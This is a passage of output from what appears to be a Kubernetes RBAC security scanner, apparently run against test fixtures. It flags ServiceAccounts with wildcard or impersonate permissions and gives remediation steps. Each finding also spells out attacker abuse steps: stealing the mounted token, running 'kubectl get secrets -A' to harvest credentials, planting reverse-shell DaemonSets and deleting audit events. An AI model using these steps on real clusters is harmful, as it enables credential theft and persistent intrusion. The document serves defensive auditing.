  3. Create a Role/ClusterRole with the minimum verbs and bind it to ServiceAccount/flux-system/kustomize-controller. Verify with kubectl auth can-i for the actual operations the workload needs (and only those).
  4. Delete the wildcard binding and rotate the SA's token (delete and recreate the SA, or rely on projected SA token TTL). Audit-log review for the SA over the last 30 days to gauge possible misuse.
  5. Wire enforcement: a Kyverno cluster policy that fails any RoleBinding/ClusterRoleBinding granting verbs: ['*'] on resources: ['*'] to a non-system subject.
Evidence
Effective rules
* on * in *
via cluster-admin (binding deepchain-flux-admin) (cluster scope)
* on
via cluster-admin (binding deepchain-flux-admin) (cluster scope)
Show raw JSON
{
  "rules": [
    {
      "api_groups": [
        "*"
      ],
      "namespace": "",
      "resource_names": null,
      "resources": [
        "*"
      ],
      "source_binding": "deepchain-flux-admin",
      "source_role": "cluster-admin",
      "verbs": [
        "*"
      ]
    },
    {
      "api_groups": null,
      "namespace": "",
      "resource_names": null,
      "resources": null,
      "source_binding": "deepchain-flux-admin",
      "source_role": "cluster-admin",
      "verbs": [
        "*"
      ]
    }
  ],
  "workloads": null
}
CRITICAL ServiceAccount/foothold-exec/foothold-decoy-sa Namespace 10.0
ServiceAccount ServiceAccount/foothold-exec/foothold-decoy-sa holds wildcard verbs on wildcard resources (cluster-admin equivalent)
Scope · Namespace ServiceAccount foothold-exec/foothold-decoy-sa: namespace-scoped subject; mounted by pods in foothold-exec
Category: Privilege Escalation Subject: ServiceAccount/foothold-exec/foothold-decoy-sa Resource: ServiceAccount/foothold-exec/foothold-decoy-sa

ServiceAccount ServiceAccount/foothold-exec/foothold-decoy-sa is bound to a Role/ClusterRole that grants verbs: [*] on resources: [*] (and typically apiGroups: [*]). This is structurally indistinguishable from cluster-admin. Every API operation on every resource is authorized.

Aggregated rules:
- verbs [*] on resources [*] (from foothold-decoy-admin/cluster-admin in cluster-wide)
- verbs [*] on resources [] (from foothold-decoy-admin/cluster-admin in cluster-wide)

Wildcard-on-wildcard bindings are almost never the right design. They are typically the result of: (a) copy-pasting cluster-admin for an operator the team didn't have time to scope down; (b) a wildcard added "temporarily" during integration that never got rotated; (c) a third-party operator's installer that ships with */* and assumes the operator runs in a dedicated cluster. None of those reasons survive a security review, but the binding survives because there is no concrete reason to break it. CIS Kubernetes 5.1.1 / 5.1.2 explicitly call out wildcard-on-wildcard as a finding.

Workloads using this SA: Pod/foothold-exec/foothold-decoy. Any compromise of any of those workloads (a single CVE, a poisoned container image, a leaked configuration file containing the SA token) becomes full cluster compromise immediately. There is no defense-in-depth left.

Impact A single compromise of any pod mounting this SA grants full cluster control: read every Secret, exec into any pod, mutate RBAC, drain nodes, taint scheduling, install backdoor DaemonSets. Every API operation succeeds.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any of the workloads using ServiceAccount/foothold-exec/foothold-decoy-sa (or finds the token in any storage that touched it: backup, CI logs, a developer's kubeconfig).
  2. They kubectl auth can-i '*' '*' --all-namespaces --token=<stolen-token> and confirm full reach.
  3. They kubectl get secrets -A -o yaml to harvest all credentials cluster-wide (cloud IAM keys, registry pull secrets, application DB passwords, third-party SaaS API keys).
  4. They install a persistent foothold: a DaemonSet using a benign-looking image that runs an attacker reverse-shell on every node, plus a malicious mutating webhook with failurePolicy: Ignore so removal does not break clusters.
  5. They cover by deleting their own audit-log entries via kubectl delete events (allowed under */*) and rotating the SA's token to invalidate IR's existing copies.
Remediation
Replace the wildcard binding on ServiceAccount/foothold-exec/foothold-decoy-sa with the smallest concrete role that satisfies the workload's actual needs. Treat the existing token as compromised.
  1. Identify the binding: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == "ServiceAccount" and .name == "foothold-decoy-sa" and .namespace == "foothold-exec")'.
  2. Generate a least-privilege role from the workload's actual API calls. Capture them with audit2rbac (https://github.com/liggitt/audit2rbac) over a representative window, or read the operator's source for the API verbs it issues.
  3. Create a Role/ClusterRole with the minimum verbs and bind it to ServiceAccount/foothold-exec/foothold-decoy-sa. Verify with kubectl auth can-i for the actual operations the workload needs (and only those).
  4. Delete the wildcard binding and rotate the SA's token (delete and recreate the SA, or rely on projected SA token TTL). Audit-log review for the SA over the last 30 days to gauge possible misuse.
  5. Wire enforcement: a Kyverno cluster policy that fails any RoleBinding/ClusterRoleBinding granting verbs: ['*'] on resources: ['*'] to a non-system subject.
Evidence
Effective rules
* on * in *
via cluster-admin (binding foothold-decoy-admin) (cluster scope)
* on
via cluster-admin (binding foothold-decoy-admin) (cluster scope)
Workloads
Pod/foothold-decoy in namespace foothold-exec
Show raw JSON
{
  "rules": [
    {
      "api_groups": [
        "*"
      ],
      "namespace": "",
      "resource_names": null,
      "resources": [
        "*"
      ],
      "source_binding": "foothold-decoy-admin",
      "source_role": "cluster-admin",
      "verbs": [
        "*"
      ]
    },
    {
      "api_groups": null,
      "namespace": "",
      "resource_names": null,
      "resources": null,
      "source_binding": "foothold-decoy-admin",
      "source_role": "cluster-admin",
      "verbs": [
        "*"
      ]
    }
  ],
  "workloads": [
    {
      "kind": "Pod",
      "name": "foothold-decoy",
      "namespace": "foothold-exec"
    }
  ]
}
CRITICAL ServiceAccount/rbac-fixtures/sa-cluster-admin Namespace 10.0
ServiceAccount ServiceAccount/rbac-fixtures/sa-cluster-admin holds wildcard verbs on wildcard resources (cluster-admin equivalent)
Scope · Namespace ServiceAccount rbac-fixtures/sa-cluster-admin: namespace-scoped subject; mounted by pods in rbac-fixtures
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-cluster-admin Resource: ServiceAccount/rbac-fixtures/sa-cluster-admin

ServiceAccount ServiceAccount/rbac-fixtures/sa-cluster-admin is bound to a Role/ClusterRole that grants verbs: [*] on resources: [*] (and typically apiGroups: [*]). This is structurally indistinguishable from cluster-admin. Every API operation on every resource is authorized.

Aggregated rules:
- verbs [*] on resources [*] (from crb-cluster-admin/cluster-admin in cluster-wide)
- verbs [*] on resources [] (from crb-cluster-admin/cluster-admin in cluster-wide)

Wildcard-on-wildcard bindings are almost never the right design. They are typically the result of: (a) copy-pasting cluster-admin for an operator the team didn't have time to scope down; (b) a wildcard added "temporarily" during integration that never got rotated; (c) a third-party operator's installer that ships with */* and assumes the operator runs in a dedicated cluster. None of those reasons survive a security review, but the binding survives because there is no concrete reason to break it. CIS Kubernetes 5.1.1 / 5.1.2 explicitly call out wildcard-on-wildcard as a finding.

Workloads using this SA: no workloads currently mount this SA. Any compromise of any of those workloads (a single CVE, a poisoned container image, a leaked configuration file containing the SA token) becomes full cluster compromise immediately. There is no defense-in-depth left.

Impact A single compromise of any pod mounting this SA grants full cluster control: read every Secret, exec into any pod, mutate RBAC, drain nodes, taint scheduling, install backdoor DaemonSets. Every API operation succeeds.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any of the workloads using ServiceAccount/rbac-fixtures/sa-cluster-admin (or finds the token in any storage that touched it: backup, CI logs, a developer's kubeconfig).
  2. They kubectl auth can-i '*' '*' --all-namespaces --token=<stolen-token> and confirm full reach.
  3. They kubectl get secrets -A -o yaml to harvest all credentials cluster-wide (cloud IAM keys, registry pull secrets, application DB passwords, third-party SaaS API keys).
  4. They install a persistent foothold: a DaemonSet using a benign-looking image that runs an attacker reverse-shell on every node, plus a malicious mutating webhook with failurePolicy: Ignore so removal does not break clusters.
  5. They cover by deleting their own audit-log entries via kubectl delete events (allowed under */*) and rotating the SA's token to invalidate IR's existing copies.
Remediation
Replace the wildcard binding on ServiceAccount/rbac-fixtures/sa-cluster-admin with the smallest concrete role that satisfies the workload's actual needs. Treat the existing token as compromised.
  1. Identify the binding: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == "ServiceAccount" and .name == "sa-cluster-admin" and .namespace == "rbac-fixtures")'.
  2. Generate a least-privilege role from the workload's actual API calls. Capture them with audit2rbac (https://github.com/liggitt/audit2rbac) over a representative window, or read the operator's source for the API verbs it issues.
  3. Create a Role/ClusterRole with the minimum verbs and bind it to ServiceAccount/rbac-fixtures/sa-cluster-admin. Verify with kubectl auth can-i for the actual operations the workload needs (and only those).
  4. Delete the wildcard binding and rotate the SA's token (delete and recreate the SA, or rely on projected SA token TTL). Audit-log review for the SA over the last 30 days to gauge possible misuse.
  5. Wire enforcement: a Kyverno cluster policy that fails any RoleBinding/ClusterRoleBinding granting verbs: ['*'] on resources: ['*'] to a non-system subject.
Evidence
Effective rules
* on * in *
via cluster-admin (binding crb-cluster-admin) (cluster scope)
* on
via cluster-admin (binding crb-cluster-admin) (cluster scope)
Show raw JSON
{
  "rules": [
    {
      "api_groups": [
        "*"
      ],
      "namespace": "",
      "resource_names": null,
      "resources": [
        "*"
      ],
      "source_binding": "crb-cluster-admin",
      "source_role": "cluster-admin",
      "verbs": [
        "*"
      ]
    },
    {
      "api_groups": null,
      "namespace": "",
      "resource_names": null,
      "resources": null,
      "source_binding": "crb-cluster-admin",
      "source_role": "cluster-admin",
      "verbs": [
        "*"
      ]
    }
  ],
  "workloads": null
}
CRITICAL ServiceAccount/rbac-fixtures/sa-wildcard Namespace 10.0
ServiceAccount ServiceAccount/rbac-fixtures/sa-wildcard holds wildcard verbs on wildcard resources (cluster-admin equivalent)
Scope · Namespace ServiceAccount rbac-fixtures/sa-wildcard: namespace-scoped subject; mounted by pods in rbac-fixtures
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-wildcard Resource: ServiceAccount/rbac-fixtures/sa-wildcard

ServiceAccount ServiceAccount/rbac-fixtures/sa-wildcard is bound to a Role/ClusterRole that grants verbs: [*] on resources: [*] (and typically apiGroups: [*]). This is structurally indistinguishable from cluster-admin. Every API operation on every resource is authorized.

Aggregated rules:
- verbs [*] on resources [*] (from crb-wildcard/cr-wildcard in cluster-wide)

Wildcard-on-wildcard bindings are almost never the right design. They are typically the result of: (a) copy-pasting cluster-admin for an operator the team didn't have time to scope down; (b) a wildcard added "temporarily" during integration that never got rotated; (c) a third-party operator's installer that ships with */* and assumes the operator runs in a dedicated cluster. None of those reasons survive a security review, but the binding survives because there is no concrete reason to break it. CIS Kubernetes 5.1.1 / 5.1.2 explicitly call out wildcard-on-wildcard as a finding.

Workloads using this SA: Pod/rbac-fixtures/wildcard-app-85ff74597d-dlhmw, Deployment/rbac-fixtures/wildcard-app. Any compromise of any of those workloads (a single CVE, a poisoned container image, a leaked configuration file containing the SA token) becomes full cluster compromise immediately. There is no defense-in-depth left.

Impact A single compromise of any pod mounting this SA grants full cluster control: read every Secret, exec into any pod, mutate RBAC, drain nodes, taint scheduling, install backdoor DaemonSets. Every API operation succeeds.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any of the workloads using ServiceAccount/rbac-fixtures/sa-wildcard (or finds the token in any storage that touched it: backup, CI logs, a developer's kubeconfig).
  2. They kubectl auth can-i '*' '*' --all-namespaces --token=<stolen-token> and confirm full reach.
  3. They kubectl get secrets -A -o yaml to harvest all credentials cluster-wide (cloud IAM keys, registry pull secrets, application DB passwords, third-party SaaS API keys).
  4. They install a persistent foothold: a DaemonSet using a benign-looking image that runs an attacker reverse-shell on every node, plus a malicious mutating webhook with failurePolicy: Ignore so removal does not break clusters.
  5. They cover by deleting their own audit-log entries via kubectl delete events (allowed under */*) and rotating the SA's token to invalidate IR's existing copies.
Remediation
Replace the wildcard binding on ServiceAccount/rbac-fixtures/sa-wildcard with the smallest concrete role that satisfies the workload's actual needs. Treat the existing token as compromised.
  1. Identify the binding: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == "ServiceAccount" and .name == "sa-wildcard" and .namespace == "rbac-fixtures")'.
  2. Generate a least-privilege role from the workload's actual API calls. Capture them with audit2rbac (https://github.com/liggitt/audit2rbac) over a representative window, or read the operator's source for the API verbs it issues.
  3. Create a Role/ClusterRole with the minimum verbs and bind it to ServiceAccount/rbac-fixtures/sa-wildcard. Verify with kubectl auth can-i for the actual operations the workload needs (and only those).
  4. Delete the wildcard binding and rotate the SA's token (delete and recreate the SA, or rely on projected SA token TTL). Audit-log review for the SA over the last 30 days to gauge possible misuse.
  5. Wire enforcement: a Kyverno cluster policy that fails any RoleBinding/ClusterRoleBinding granting verbs: ['*'] on resources: ['*'] to a non-system subject.
Evidence
Effective rules
* on * in *
via cr-wildcard (binding crb-wildcard) (cluster scope)
Workloads
Pod/wildcard-app-85ff74597d-dlhmw in namespace rbac-fixtures
Deployment/wildcard-app in namespace rbac-fixtures
Show raw JSON
{
  "rules": [
    {
      "api_groups": [
        "*"
      ],
      "namespace": "",
      "resource_names": null,
      "resources": [
        "*"
      ],
      "source_binding": "crb-wildcard",
      "source_role": "cr-wildcard",
      "verbs": [
        "*"
      ]
    }
  ],
  "workloads": [
    {
      "kind": "Pod",
      "name": "wildcard-app-85ff74597d-dlhmw",
      "namespace": "rbac-fixtures"
    },
    {
      "kind": "Deployment",
      "name": "wildcard-app",
      "namespace": "rbac-fixtures"
    }
  ]
}
CRITICAL

ServiceAccount ServiceAccount/foothold-exec/foothold-decoy-sa is mounted by live workloads and has dangerous permissions: secrets (cluster), create pods (cluster), mutate workloads (cluster), bind roles (cluster), bind/escalate (cluster), impersonate (cluster), nodes/proxy (cluster)

KUBE-SA-PRIVILEGED-002 10 subjects Score 9.1–8.3

Affected subjects (10)

CRITICAL ServiceAccount/foothold-exec/foothold-decoy-sa Namespace 9.1
ServiceAccount ServiceAccount/foothold-exec/foothold-decoy-sa is mounted by live workloads and has dangerous permissions: secrets (cluster), create pods (cluster), mutate workloads (cluster), bind roles (cluster), bind/escalate (cluster), impersonate (cluster), nodes/proxy (cluster)
Scope · Namespace ServiceAccount foothold-exec/foothold-decoy-sa: namespace-scoped subject; mounted by pods in foothold-exec
Category: Privilege Escalation Subject: ServiceAccount/foothold-exec/foothold-decoy-sa Resource: ServiceAccount/foothold-exec/foothold-decoy-sa

ServiceAccount ServiceAccount/foothold-exec/foothold-decoy-sa carries one or more dangerous RBAC capabilities (secrets (cluster), create pods (cluster), mutate workloads (cluster), bind roles (cluster), bind/escalate (cluster), impersonate (cluster), nodes/proxy (cluster)) *and* is actively mounted by workloads (Pod/foothold-exec/foothold-decoy). The combination matters: a dangerous permission on an unused SA is latent risk; the same permission on an SA that ships in a running pod is a pre-positioned exploitation primitive. The attacker does not need to find the SA token, because the pod is the SA token.

The flagged capabilities map directly to known privesc paths:
- secrets → read service-account tokens of higher-privileged SAs (KUBE-PRIVESC-005).
- create pods → mount any SA in a new pod, run as root, or set hostPath: / to escape (KUBE-PRIVESC-001, KUBE-ESCAPE-*).
- mutate workloads → modify a Deployment to swap its image / SA, gaining the workload's identity (KUBE-PRIVESC-003).
- bind roles / bind/escalate → grant yourself or any SA arbitrary permissions, cluster-wide (KUBE-PRIVESC-009, KUBE-PRIVESC-010).
- impersonate → assume any user/group/SA, instantly bypassing RBAC (KUBE-PRIVESC-008).
- nodes/proxy → kubelet API access to read all pod logs/exec on a node (KUBE-PRIVESC-012).

Workloads using this SA: Pod/foothold-exec/foothold-decoy. Each is a starting point: any RCE, any leaked container image layer, any logs accidentally containing the token are equivalent to the SA's RBAC.

Impact Compromise of any workload using ServiceAccount/foothold-exec/foothold-decoy-sa immediately grants the listed dangerous capabilities. In practice, this is a one- or two-hop chain to cluster-admin equivalent (see correlated KUBE-PRIVESC-* findings on the same subject).
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any of the workloads (Pod/foothold-exec/foothold-decoy) via RCE in the application, a malicious image layer, or a leaked manifest with embedded token.
  2. They read /var/run/secrets/kubernetes.io/serviceaccount/token from the pod.
  3. They use the token to invoke the dangerous capabilities (secrets (cluster), create pods (cluster), mutate workloads (cluster), bind roles (cluster), bind/escalate (cluster), impersonate (cluster), nodes/proxy (cluster)) directly. The token already authenticates as ServiceAccount/foothold-exec/foothold-decoy-sa, so no further escalation is needed.
  4. For each capability they convert into the matching privesc path: secrets→token theft → impersonate higher SA; bind→grant self cluster-admin; pods/create→privileged pod with hostPath /.
  5. Within minutes they hold an identity equivalent to the most privileged subject reachable from this SA's chain, typically cluster-admin if any privesc path connects.
Remediation
Split ServiceAccount/foothold-exec/foothold-decoy-sa into one SA per workload, remove the dangerous capabilities that aren't actually used, and ensure each workload's SA holds only the minimum verbs.
  1. Audit which of the workloads (Pod/foothold-exec/foothold-decoy) actually exercises each dangerous capability. Start with audit2rbac over a 7-day window, then ask the workload's owner to confirm.
  2. For each unique workload, create a dedicated SA and a least-privilege Role/ClusterRole with only the verbs that audit-2rbac observed. Bind only that Role to the new SA.
  3. Migrate workloads to the new dedicated SA (set spec.serviceAccountName). Delete the bindings against the original ServiceAccount/foothold-exec/foothold-decoy-sa and rotate its token.
  4. For capabilities that *no* workload actually exercises, delete the binding entirely.
  5. Wire enforcement: a Kyverno policy that warns when pods.spec.serviceAccountName references an SA whose RBAC binding includes any of [secrets:get, pods:create, rolebindings:create, escalate, impersonate, nodes/proxy:get].
Evidence
Effective rules
* on * in *
via cluster-admin (binding foothold-decoy-admin) (cluster scope)
* on
via cluster-admin (binding foothold-decoy-admin) (cluster scope)
Workloads
Pod/foothold-decoy in namespace foothold-exec
Dangerous permissionssecrets (cluster)create pods (cluster)mutate workloads (cluster)bind roles (cluster)bind/escalate (cluster)impersonate (cluster)nodes/proxy (cluster)
Show raw JSON
{
  "dangerous_permissions": [
    "secrets (cluster)",
    "create pods (cluster)",
    "mutate workloads (cluster)",
    "bind roles (cluster)",
    "bind/escalate (cluster)",
    "impersonate (cluster)",
    "nodes/proxy (cluster)"
  ],
  "rules": [
    {
      "api_groups": [
        "*"
      ],
      "namespace": "",
      "resource_names": null,
      "resources": [
        "*"
      ],
      "source_binding": "foothold-decoy-admin",
      "source_role": "cluster-admin",
      "verbs": [
        "*"
      ]
    },
    {
      "api_groups": null,
      "namespace": "",
      "resource_names": null,
      "resources": null,
      "source_binding": "foothold-decoy-admin",
      "source_role": "cluster-admin",
      "verbs": [
        "*"
      ]
    }
  ],
  "workloads": [
    {
      "kind": "Pod",
      "name": "foothold-decoy",
      "namespace": "foothold-exec"
    }
  ]
}
CRITICAL ServiceAccount/rbac-fixtures/sa-impersonate Namespace 9.1
ServiceAccount ServiceAccount/rbac-fixtures/sa-impersonate is mounted by live workloads and has dangerous permissions: impersonate (cluster)
Scope · Namespace ServiceAccount rbac-fixtures/sa-impersonate: namespace-scoped subject; mounted by pods in rbac-fixtures
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-impersonate Resource: ServiceAccount/rbac-fixtures/sa-impersonate

ServiceAccount ServiceAccount/rbac-fixtures/sa-impersonate carries one or more dangerous RBAC capabilities (impersonate (cluster)) *and* is actively mounted by workloads (Pod/rbac-fixtures/imp-app-5f78d6bb9d-bxmxv, Deployment/rbac-fixtures/imp-app). The combination matters: a dangerous permission on an unused SA is latent risk; the same permission on an SA that ships in a running pod is a pre-positioned exploitation primitive. The attacker does not need to find the SA token, because the pod is the SA token.

The flagged capabilities map directly to known privesc paths:
- secrets → read service-account tokens of higher-privileged SAs (KUBE-PRIVESC-005).
- create pods → mount any SA in a new pod, run as root, or set hostPath: / to escape (KUBE-PRIVESC-001, KUBE-ESCAPE-*).
- mutate workloads → modify a Deployment to swap its image / SA, gaining the workload's identity (KUBE-PRIVESC-003).
- bind roles / bind/escalate → grant yourself or any SA arbitrary permissions, cluster-wide (KUBE-PRIVESC-009, KUBE-PRIVESC-010).
- impersonate → assume any user/group/SA, instantly bypassing RBAC (KUBE-PRIVESC-008).
- nodes/proxy → kubelet API access to read all pod logs/exec on a node (KUBE-PRIVESC-012).

Workloads using this SA: Pod/rbac-fixtures/imp-app-5f78d6bb9d-bxmxv, Deployment/rbac-fixtures/imp-app. Each is a starting point: any RCE, any leaked container image layer, any logs accidentally containing the token are equivalent to the SA's RBAC.

Impact Compromise of any workload using ServiceAccount/rbac-fixtures/sa-impersonate immediately grants the listed dangerous capabilities. In practice, this is a one- or two-hop chain to cluster-admin equivalent (see correlated KUBE-PRIVESC-* findings on the same subject).
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any of the workloads (Pod/rbac-fixtures/imp-app-5f78d6bb9d-bxmxv, Deployment/rbac-fixtures/imp-app) via RCE in the application, a malicious image layer, or a leaked manifest with embedded token.
  2. They read /var/run/secrets/kubernetes.io/serviceaccount/token from the pod.
  3. They use the token to invoke the dangerous capabilities (impersonate (cluster)) directly. The token already authenticates as ServiceAccount/rbac-fixtures/sa-impersonate, so no further escalation is needed.
  4. For each capability they convert into the matching privesc path: secrets→token theft → impersonate higher SA; bind→grant self cluster-admin; pods/create→privileged pod with hostPath /.
  5. Within minutes they hold an identity equivalent to the most privileged subject reachable from this SA's chain, typically cluster-admin if any privesc path connects.
Remediation
Split ServiceAccount/rbac-fixtures/sa-impersonate into one SA per workload, remove the dangerous capabilities that aren't actually used, and ensure each workload's SA holds only the minimum verbs.
  1. Audit which of the workloads (Pod/rbac-fixtures/imp-app-5f78d6bb9d-bxmxv, Deployment/rbac-fixtures/imp-app) actually exercises each dangerous capability. Start with audit2rbac over a 7-day window, then ask the workload's owner to confirm.
  2. For each unique workload, create a dedicated SA and a least-privilege Role/ClusterRole with only the verbs that audit-2rbac observed. Bind only that Role to the new SA.
  3. Migrate workloads to the new dedicated SA (set spec.serviceAccountName). Delete the bindings against the original ServiceAccount/rbac-fixtures/sa-impersonate and rotate its token.
  4. For capabilities that *no* workload actually exercises, delete the binding entirely.
  5. Wire enforcement: a Kyverno policy that warns when pods.spec.serviceAccountName references an SA whose RBAC binding includes any of [secrets:get, pods:create, rolebindings:create, escalate, impersonate, nodes/proxy:get].
Evidence
Effective rules
impersonate on groups in
via cr-impersonate (binding crb-impersonate) (cluster scope)
Workloads
Pod/imp-app-5f78d6bb9d-bxmxv in namespace rbac-fixtures
Deployment/imp-app in namespace rbac-fixtures
Dangerous permissionsimpersonate (cluster)
Show raw JSON
{
  "dangerous_permissions": [
    "impersonate (cluster)"
  ],
  "rules": [
    {
      "api_groups": [
        ""
      ],
      "namespace": "",
      "resource_names": null,
      "resources": [
        "groups"
      ],
      "source_binding": "crb-impersonate",
      "source_role": "cr-impersonate",
      "verbs": [
        "impersonate"
      ]
    }
  ],
  "workloads": [
    {
      "kind": "Pod",
      "name": "imp-app-5f78d6bb9d-bxmxv",
      "namespace": "rbac-fixtures"
    },
    {
      "kind": "Deployment",
      "name": "imp-app",
      "namespace": "rbac-fixtures"
    }
  ]
}
CRITICAL ServiceAccount/rbac-fixtures/sa-wildcard Namespace 9.1
ServiceAccount ServiceAccount/rbac-fixtures/sa-wildcard is mounted by live workloads and has dangerous permissions: secrets (cluster), create pods (cluster), mutate workloads (cluster), bind roles (cluster), bind/escalate (cluster), impersonate (cluster), nodes/proxy (cluster)
Scope · Namespace ServiceAccount rbac-fixtures/sa-wildcard: namespace-scoped subject; mounted by pods in rbac-fixtures
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-wildcard Resource: ServiceAccount/rbac-fixtures/sa-wildcard

ServiceAccount ServiceAccount/rbac-fixtures/sa-wildcard carries one or more dangerous RBAC capabilities (secrets (cluster), create pods (cluster), mutate workloads (cluster), bind roles (cluster), bind/escalate (cluster), impersonate (cluster), nodes/proxy (cluster)) *and* is actively mounted by workloads (Pod/rbac-fixtures/wildcard-app-85ff74597d-dlhmw, Deployment/rbac-fixtures/wildcard-app). The combination matters: a dangerous permission on an unused SA is latent risk; the same permission on an SA that ships in a running pod is a pre-positioned exploitation primitive. The attacker does not need to find the SA token, because the pod is the SA token.

The flagged capabilities map directly to known privesc paths:
- secrets → read service-account tokens of higher-privileged SAs (KUBE-PRIVESC-005).
- create pods → mount any SA in a new pod, run as root, or set hostPath: / to escape (KUBE-PRIVESC-001, KUBE-ESCAPE-*).
- mutate workloads → modify a Deployment to swap its image / SA, gaining the workload's identity (KUBE-PRIVESC-003).
- bind roles / bind/escalate → grant yourself or any SA arbitrary permissions, cluster-wide (KUBE-PRIVESC-009, KUBE-PRIVESC-010).
- impersonate → assume any user/group/SA, instantly bypassing RBAC (KUBE-PRIVESC-008).
- nodes/proxy → kubelet API access to read all pod logs/exec on a node (KUBE-PRIVESC-012).

Workloads using this SA: Pod/rbac-fixtures/wildcard-app-85ff74597d-dlhmw, Deployment/rbac-fixtures/wildcard-app. Each is a starting point: any RCE, any leaked container image layer, any logs accidentally containing the token are equivalent to the SA's RBAC.

Impact Compromise of any workload using ServiceAccount/rbac-fixtures/sa-wildcard immediately grants the listed dangerous capabilities. In practice, this is a one- or two-hop chain to cluster-admin equivalent (see correlated KUBE-PRIVESC-* findings on the same subject).
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any of the workloads (Pod/rbac-fixtures/wildcard-app-85ff74597d-dlhmw, Deployment/rbac-fixtures/wildcard-app) via RCE in the application, a malicious image layer, or a leaked manifest with embedded token.
  2. They read /var/run/secrets/kubernetes.io/serviceaccount/token from the pod.
  3. They use the token to invoke the dangerous capabilities (secrets (cluster), create pods (cluster), mutate workloads (cluster), bind roles (cluster), bind/escalate (cluster), impersonate (cluster), nodes/proxy (cluster)) directly. The token already authenticates as ServiceAccount/rbac-fixtures/sa-wildcard, so no further escalation is needed.
  4. For each capability they convert into the matching privesc path: secrets→token theft → impersonate higher SA; bind→grant self cluster-admin; pods/create→privileged pod with hostPath /.
  5. Within minutes they hold an identity equivalent to the most privileged subject reachable from this SA's chain, typically cluster-admin if any privesc path connects.
Remediation
Split ServiceAccount/rbac-fixtures/sa-wildcard into one SA per workload, remove the dangerous capabilities that aren't actually used, and ensure each workload's SA holds only the minimum verbs.
  1. Audit which of the workloads (Pod/rbac-fixtures/wildcard-app-85ff74597d-dlhmw, Deployment/rbac-fixtures/wildcard-app) actually exercises each dangerous capability. Start with audit2rbac over a 7-day window, then ask the workload's owner to confirm.
  2. For each unique workload, create a dedicated SA and a least-privilege Role/ClusterRole with only the verbs that audit-2rbac observed. Bind only that Role to the new SA.
  3. Migrate workloads to the new dedicated SA (set spec.serviceAccountName). Delete the bindings against the original ServiceAccount/rbac-fixtures/sa-wildcard and rotate its token.
  4. For capabilities that *no* workload actually exercises, delete the binding entirely.
  5. Wire enforcement: a Kyverno policy that warns when pods.spec.serviceAccountName references an SA whose RBAC binding includes any of [secrets:get, pods:create, rolebindings:create, escalate, impersonate, nodes/proxy:get].
Evidence
Effective rules
* on * in *
via cr-wildcard (binding crb-wildcard) (cluster scope)
Workloads
Pod/wildcard-app-85ff74597d-dlhmw in namespace rbac-fixtures
Deployment/wildcard-app in namespace rbac-fixtures
Dangerous permissionssecrets (cluster)create pods (cluster)mutate workloads (cluster)bind roles (cluster)bind/escalate (cluster)impersonate (cluster)nodes/proxy (cluster)
Show raw JSON
{
  "dangerous_permissions": [
    "secrets (cluster)",
    "create pods (cluster)",
    "mutate workloads (cluster)",
    "bind roles (cluster)",
    "bind/escalate (cluster)",
    "impersonate (cluster)",
    "nodes/proxy (cluster)"
  ],
  "rules": [
    {
      "api_groups": [
        "*"
      ],
      "namespace": "",
      "resource_names": null,
      "resources": [
        "*"
      ],
      "source_binding": "crb-wildcard",
      "source_role": "cr-wildcard",
      "verbs": [
        "*"
      ]
    }
  ],
  "workloads": [
    {
      "kind": "Pod",
      "name": "wildcard-app-85ff74597d-dlhmw",
      "namespace": "rbac-fixtures"
    },
    {
      "kind": "Deployment",
      "name": "wildcard-app",
